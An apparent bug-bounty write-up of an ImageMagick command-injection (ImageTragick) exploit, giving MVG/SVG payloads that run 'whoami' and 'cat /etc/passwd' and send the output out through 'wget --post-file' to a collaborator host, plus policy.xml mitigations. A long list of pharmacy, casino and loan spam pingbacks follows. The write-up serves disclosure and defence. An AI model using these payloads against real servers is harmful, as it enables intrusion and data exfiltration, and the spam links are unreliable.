Remote Code Execution because of an image source? Is it Possible? Yes! Definitely. Here in this blog post, a Strynx team member found a variation of Remote Code Execution AKA RCE through ImageMagick which earned him a generous bounty of $5000. Amazingly, some tweaks inside the image source exfiltrated the data over DNS (also called side-channel attacks). Let’s see how was it done after a short introduction to ImageMagick.
What is ImageMagick? ImageMagick is a free and open-source software suite for displaying, converting, and editing raster image and vector image files. It can read and write over 200 image file formats. Suprisingly ImageMagick is used by many Fortune 500 companies. ImageMagick is very popular and some plugins make it easy to use with PHP, Ruby, Node.js and other languages so it is common for websites to use it for image resizing or cropping.
#Protip: If a website uses your photo and crops them into the avatar, there may be a good chance that the website is using ImageMagick to do that.
Coming on to vulnerabilities. Is it secured? No, you have to manually take efforts in securing them. In the year 2016, researchers discovered that it was possible to execute arbitrary code (CVE-2016-3714) by hiding it inside image files that a user uploads. That means an attacker can make a web server do its bidding by uploading an image containing code the attacker chooses. This is all denoted in the site https://imagetragick.com/ which deals on these vulnerabilities and how to mitigate them.
Vulnerabilities in Image Decoder:
ImageMagick allows processing files with external libraries. This feature is called ‘delegate’. It is implemented as a system() with command string (‘command’) from the config file delegates.xml with the actual value for different params (input/output filenames etc). Due to insufficient %M param filtering, it is possible to conduct shell command injection. The most dangerous part is ImageMagick supports several formats like svg, mvg – which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user-supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. Some common exploits: (Code execution commands are set as bold)
exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
Here in this case study, we will use our mvg exploit which is interpreted by the server, and when decoded, causes code to execute.
Abusing ImageMagick library to get Remote Code Execution
The program which is being mentioned in the blog post is a private program, hence the representation of the site would be example.com as disclosure is not allowed.
With static image file interpretation, it was observed that ImageMagick was possibly being used in the application. The image file contained certain keywords which helped conclude the possibility. The URL was as follows: https://subdomain.example.com/directory/5b9682b23bb………:avatar?a44c0de5…..c54b5&x6xx9jul3=1
After analysing the source of the image file it was found that an interesting string “EXtdate:modify” resided in it. It was observed that the server converted pictures with “ImageMagick”/”GraphicksMagick” but did not add the -strip command line option. Therefore now the converted image now has the plaintext tEXtdate: create.
Along with this, EXtdate: modify and timestamps are usually included in the png files.
Thus after obtaining this information, it was time to exploit this issue. The exploits shown above were now modified to test the time-based payloads. Here is the sample code used:
push graphic-context
viewbox 0 0 200 200
fill ‘url(https://example.org/vfqBnrslJIi/”;sleep “6.0)’
pop graphic-context
The payload was converted into base64 as the parameter supplying the request indicated it was base64 decoding the request. The newly generated payload for parameter d64:
cHVzaCBncmFwaGljLWNvbnRleHQKdmlld2JveCAwIDAgMjAwIDIwMApmaWxsICd1cmwoaHR0cHM6Ly9leGFtcGxlLm9yZy92ZnFCbnJzbEpJaS8iO3NsZWVwICI2LjApJwpwb3AgZ3JhcGhpYy1jb250ZXh0
It was observed that the payload was base64 decoded and the response was in a delay of 6.0 seconds, confirming the attack.

It was time to exploit further. Direct read access wasn’t presented thus with the help of burp collaborator the results to the executed codes was obtained. The payload was modified to store the output of a command in a txt file and then using wget –post-file to our burp collaborator.
Firstly, the user of the application was checked using whoami. The payload was generated as follows:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|whoami>>/tmp/pwned.txt”)’
pop graphic-context.
The result of the command was stored in pwned.txt and thus using burp collaborator the file was read as follows:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|wget –post-file /tmp/pwned.txt XXX.burpcollaborator.net”)’
pop graphic-context
A ping was observed in the burp collaborator with the request containing the user of the application.
To fully demonstrate the impact a POC was generated to read the contents of /etc/passwd. Using the same steps the two payloads were as follows:
- Saving output to pwned.txt
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|cat /etc/passwd >>/tmp/pwned.txt”)’
pop graphic-context
- Reading the file using our collaborator
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|wget –post-file /tmp/pwned.txt XXX.burpcollaborator.net”)’
pop graphic-context

As seen in the screenshot, the contents of /etc/passwd of the server were now read confirming the issue on the server.
The issue was reported to the company’s vulnerability disclosure program using appropriate measures. The vulnerability was confirmed within hours of reporting and the fixed was deployed as soon as possible. A bounty of $5000 was rewarded for this issue.
If your website uses ImageMagick Library make sure you mitigate it with appropriate steps as shown below:
- Verify that all image files begin with the expected “magic bytes” corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info)
- Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in “/etc/ImageMagick”. The below policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL.
Policy.xml file:
<policymap><policy domain="coder" rights="none" pattern="EPHEMERAL" /><policy domain="coder" rights="none" pattern="URL" /><policy domain="coder" rights="none" pattern="HTTPS" /><policy domain="coder" rights="none" pattern="MVG" /><policy domain="coder" rights="none" pattern="MSL" /><policy domain="coder" rights="none" pattern="TEXT" /><policy domain="coder" rights="none" pattern="SHOW" /><policy domain="coder" rights="none" pattern="WIN" /><policy domain="coder" rights="none" pattern="PLT" /></policymap>
That’s all for this blog. Hope you liked it. Stay tuned for upcoming posts. Please subscribe to the blog if you haven’t done yet to never miss any blogs published to the site. Have a nice day!
Pingback: viagra alternative
Pingback: viagra for men
Pingback: canadian pharmacy viagra
Pingback: buy viagra now
Pingback: generic for viagra
Pingback: generic sildenafil 100mg india
Pingback: viagra online
Pingback: alternatives to viagra that work
Pingback: buy viagra pills
Pingback: generic viagra cost
Pingback: viagra prices
Pingback: where to buy viagra without prescription in san francisco
Pingback: where to buy viagra in melbourne australia
Pingback: order propecia
Pingback: cheap viagra
Pingback: buy viagra inline
Pingback: generic sildenafil
Pingback: viagra
Pingback: Viagra 150mg coupon
Pingback: generic viagra
Pingback: order Viagra 130 mg
Pingback: Viagra 120mg prices
Pingback: Viagra 25 mg australia
Pingback: Viagra 120mg online
Pingback: cheap sildenafil
Pingback: buy viagra online
Pingback: buy Viagra 100 mg
Pingback: Viagra 120mg australia
Pingback: how to purchase Cialis 20 mg
Pingback: Cialis 80mg pills
Pingback: generic cialis
Pingback: Cialis 60mg canada
Pingback: cost of Cialis 60 mg
Pingback: Cialis 40 mg prices
Pingback: RxTrustPharm
Pingback: buy cheap sildenafil
Pingback: Cialis 60 mg pharmacy
Pingback: order Cialis 20mg
Pingback: how to purchase Cialis 80 mg
Pingback: Cialis 10mg price
Pingback: sildenafil 150 mg canada
Pingback: canadian rx pharmacy
Pingback: tadalafil 80 mg over the counter
Pingback: tadalafil
Pingback: levitra 40 mg without a doctor prescription
Pingback: lasix 40mg online pharmacy
Pingback: furosemide 100 mg without prescription
Pingback: buying prescription drugs from canada
Pingback: propecia 5 mg without a prescription
Pingback: lexapro 20 mg pills
Pingback: abilify 20mg online
Pingback: viagra achat en france
Pingback: actos 15 mg without a doctor prescription
Pingback: buy aldactone 100mg
Pingback: allegra 120 mg purchase
Pingback: how to purchase allopurinol 300 mg
Pingback: amaryl 4mg price
Pingback: amoxicillin 500mg united kingdom
Pingback: ampicillin 500 mg generic
Pingback: order antabuse 250 mg
Pingback: viagra pills
Pingback: antivert 25mg price
Pingback: arava 10 mg coupon
Pingback: strattera 25 mg united states
Pingback: where to buy aricept 10mg
Pingback: arimidex 1mg medication
Pingback: cheap cialis
Pingback: cost of tamoxifen 20 mg
Pingback: ashwagandha 60caps without a prescription
Pingback: atarax 10mg medication
Pingback: augmentin 750/250 mg united states
Pingback: generic drugs without doctor's prescription
Pingback: avapro 300mg uk
Pingback: avodart 0,5 mg without a prescription
Pingback: baclofen 25mg otc
Pingback: cheapest bactrim 800/160 mg
Pingback: viagra pill
Pingback: canadian pharmacy viagra
Pingback: benicar 20mg australia
Pingback: buy Biaxin 250 mg
Pingback: order Premarin 0,625mg
Pingback: cheap buspar 5 mg
Pingback: tadalafil generic
Pingback: calcium carbonate 500mg prices
Pingback: buy cialis
Pingback: catapres medication
Pingback: rxtrust pharm
Pingback: buy viagra online
Pingback: ceftin 250mg online
Pingback: where can i buy celebrex
Pingback: best pharmacy online
Pingback: celexa otc
Pingback: cephalexin 500mg coupon
Pingback: cipro 750 mg cheap
Pingback: cheap viagra
Pingback: claritin 10mg nz
Pingback: parx casino online
Pingback: wind creek casino online games
Pingback: best online casino usa
Pingback: gambling casino
Pingback: rxtrustpharm.com
Pingback: play online casino real money
Pingback: casino online real money
Pingback: cheap ed pills
Pingback: best real casino online
Pingback: online gambling
Pingback: chumba casino
Pingback: online casino real money
Pingback: car insurance quotes 21
Pingback: accc car insurance
Pingback: car insurance quotes comparison
Pingback: cheap cialis
Pingback: usaa car insurance
Pingback: multiple car insurance quotes
Pingback: car insurance specialists
Pingback: hartford car insurance quotes
Pingback: cialis miami
Pingback: erie car insurance quotes group
Pingback: ed supplements
Pingback: viagra coupons walgreens
Pingback: best car insurance quotes companies
Pingback: buy cialis brand
Pingback: personal car insurance
Pingback: check into cash
Pingback: top ed pills
Pingback: payday loans raleigh nc
Pingback: fast payday loans online
Pingback: installment loans with low interest
Pingback: best quick loans
Pingback: how many mg of viagra should i take
Pingback: levitra 20mg
Pingback: bad credit loans lenders
Pingback: cialis side effects
Pingback: can i buy amoxicillin over the counter in australia
Pingback: payday loans no credit check
Pingback: womens viagra
Pingback: cheap personal loans
Pingback: viagra boner
Pingback: cbd in marijuana
Pingback: cialis from india
Pingback: buy cbd oil with thc
Pingback: what do blue pills do
Pingback: viagra in action
Pingback: cbd oil for pain relief where to buy
Pingback: cbd oil benefits webmd
Pingback: best generic cialis
Pingback: vardenafil generic
Pingback: viagra generic
Pingback: instant online payday loans
Pingback: cbd pills sale
Pingback: viagra falls
Pingback: cbd oil benefits webmd
Pingback: is taking viagra painful
Pingback: cheap generic cialis
Pingback: side effects of cbd oil in dogs
Pingback: how to buy viagra
Pingback: cbd pills sale
Pingback: viagra sample
Pingback: best cbd oil for depression and anxiety
Pingback: blue chew viagra
Pingback: the assignments
Pingback: buy levitra online cheap
Pingback: levitra online
Pingback: photo assignment
Pingback: write essay for money
Pingback: atorvastatin midol
Pingback: kinetic books homework
Pingback: buy essay online
Pingback: premium assignments
Pingback: custom essay writing service reviews
Pingback: essays writing service
Pingback: how to write argument essay
Pingback: how to write a community service essay
Pingback: cleocin cheap
Pingback: clomid without a prescription
Pingback: clonidine 0,1 mg purchase
Pingback: sildenafil vs viagra
Pingback: clozaril for sale
Pingback: 100mg viagra
Pingback: colchicine 0,5 mg nz
Pingback: viagra vs cialis
Pingback: symbicort inhaler 160/4,5mcg without a prescription
Pingback: combivent canada
Pingback: buy coreg
Pingback: show cialis working
Pingback: compare pharmacy prices for prescriptions
Pingback: what are good essay writing services
Pingback: how to purchase compazine 5mg
Pingback: generic cialis
Pingback: coumadin 2 mg uk
Pingback: order cialis 20 mg
Pingback: where to buy cozaar
Pingback: crestor 10mg otc
Pingback: customized essay
Pingback: argumentative essay help
Pingback: cymbalta 30 mg united states
Pingback: buy viagra online
Pingback: cheapest essays writing services
Pingback: help me with my research paper
Pingback: viagra tabs
Pingback: write my paper in apa format
Pingback: how to purchase dapsone 1000caps
Pingback: ddavp pills
Pingback: depakote 500mg online
Pingback: diamox 250mg cheap
Pingback: differin 15g united states
Pingback: diltiazem without a prescription
Pingback: viagra for sale
Pingback: doxycycline medication
Pingback: dramamine 50 mg for sale
Pingback: elavil united kingdom
Pingback: canadian pharmacy review
Pingback: erythromycin 500 mg price
Pingback: viagra or cialis
Pingback: etodolac nz
Pingback: cheapest flomax
Pingback: augmentin cvs price
Pingback: Zithromax online
Pingback: viagra dosages
Pingback: flonase nasal spray australia
Pingback: garcinia cambogia caps price
Pingback: cialis information
Pingback: ed drug comparison
Pingback: geodon 20 mg pharmacy
Pingback: pink viagra for women
Pingback: hyzaar without a prescription
Pingback: cephalexin for prostatitis
Pingback: imitrex nz
Pingback: how to avoid cialis side effects
Pingback: ciprofloxacin taken with dofedilide
Pingback: viagra online
Pingback: how long for cialis to work
Pingback: oxybutynin
Pingback: imodium price
Pingback: viagra amazon
Pingback: useful reference
Pingback: tizanidine and tramadol interactions
Pingback: generic viagra online
Pingback: generic viagra india
Pingback: can women take viagra
Pingback: online pharmacies in canada
Pingback: imuran united kingdom
Pingback: meds presribed with abilify
Pingback: cost of allopurinol at walmart
Pingback: buy cheap zithromax online
Pingback: lamisil 250 mg purchase
Pingback: amiodarone toxicity signs and symptoms
Pingback: viagra for sale
Pingback: cheapest levaquin 750mg
Pingback: what is amitriptyline used to treat
Pingback: lopid online
Pingback: generic viagra 100mg
Pingback: lopressor generic
Pingback: side effects for amlodipine
Pingback: luvox 100 mg nz
Pingback: macrobid 100 mg canada
Pingback: amoxicillin 500mg for sale
Pingback: meclizine 25 mg nz
Pingback: ed meds online without doctor prescription
Pingback: medications to avoid with abilify
Pingback: buy mestinon
Pingback: canada pharmacies without script
Pingback: bloat atorvastatin
Pingback: azithromycin and antacids
Pingback: micardis 80mg over the counter
Pingback: generic Zovirax
Pingback: best canadian online pharmacy
Pingback: generic viagra online pharmacy
Pingback: mobic without a doctor prescription
Pingback: cheap medications
Pingback: online pharmacy canada
Pingback: motrin australia
Pingback: generic baclofen
Pingback: prescription drugs online without
Pingback: nortriptyline 25 mg uk
Pingback: canadian pharmacies shipping to usa
Pingback: does baclofen lower heart rate
Pingback: periactin generic
Pingback: zyban and wellbutrin
Pingback: phenergan cost
Pingback: viagra
Pingback: plaquenil 200 mg pharmacy
Pingback: buspirone for gad
Pingback: prednisolone coupon
Pingback: prevacid 15 mg canada
Pingback: buspar mechanism
Pingback: cheap prilosec
Pingback: stomach upset with coreg
Pingback: cheap proair inhaler 100 mcg
Pingback: how much is viagra
Pingback: procardia tablets
Pingback: celebrex 200mg capsules
Pingback: buy cheap viagra
Pingback: cheap proscar 5 mg
Pingback: nbcnews celexa
Pingback: where to buy protonix
Pingback: provigil australia
Pingback: natural viagra for men
Pingback: cefdinir antibiotic
Pingback: pulmicort 200 mcg cost
Pingback: viagra gone wrong
Pingback: pyridium 200mg without prescription
Pingback: cost of reglan 10mg
Pingback: cialis online purchase
Pingback: remeron 15mg medication
Pingback: zyrtec 2 pills
Pingback: retin-a cream generic
Pingback: coupons for viagra
Pingback: sister viagra prank
Pingback: benadryl cream australia
Pingback: revatio 20 mg pills
Pingback: taking viagra
Pingback: how to purchase risperdal
Pingback: robaxin 500mg prices
Pingback: how to purchase rogaine
Pingback: seroquel 300mg generic
Pingback: cost of singulair 4 mg
Pingback: skelaxin 400 mg pharmacy
Pingback: viagra generic
Pingback: spiriva 9 mcg without prescription
Pingback: tenormin over the counter
Pingback: online viagra prescription
Pingback: my piano pop a cialis and fuck all day
Pingback: thorazine 100 mg usa
Pingback: toprol cheap
Pingback: price for generic viagra
Pingback: order tricor
Pingback: where can i buy valtrex 1000 mg
Pingback: vantin nz
Pingback: cheapest verapamil 40 mg
Pingback: where to buy voltaren
Pingback: order wellbutrin 300 mg
Pingback: zanaflex purchase
Pingback: zestril medication
Pingback: explanation
Pingback: zocor otc
Pingback: zithromax cost
Pingback: zovirax 200mg cost
Pingback: zyloprim 100 mg tablet
Pingback: cheapest zyprexa 10mg
Pingback: zyvox united kingdom
Pingback: sildenafil online
Pingback: tadalafil 40 mg price
Pingback: how to purchase furosemide
Pingback: escitalopram coupon
Pingback: how to buy aripiprazole 10 mg
Pingback: amoxicillin in india
Pingback: pioglitazone 30mg without prescription
Pingback: cialis pictures
Pingback: where to buy spironolactone
Pingback: canadian drug pharmacy
Pingback: fexofenadine 120mg nz
Pingback: local generic viagra
Pingback: glimepiride 1mg over the counter
Pingback: meclizine 25 mg generic
Pingback: leflunomide 10mg uk
Pingback: where can i buy atomoxetine 10mg
Pingback: donepezil without a doctor prescription
Pingback: anastrozole pills
Pingback: sildenafil generic
Pingback: irbesartan without prescription
Pingback: dutasteride tablets
Pingback: olmesartan pharmacy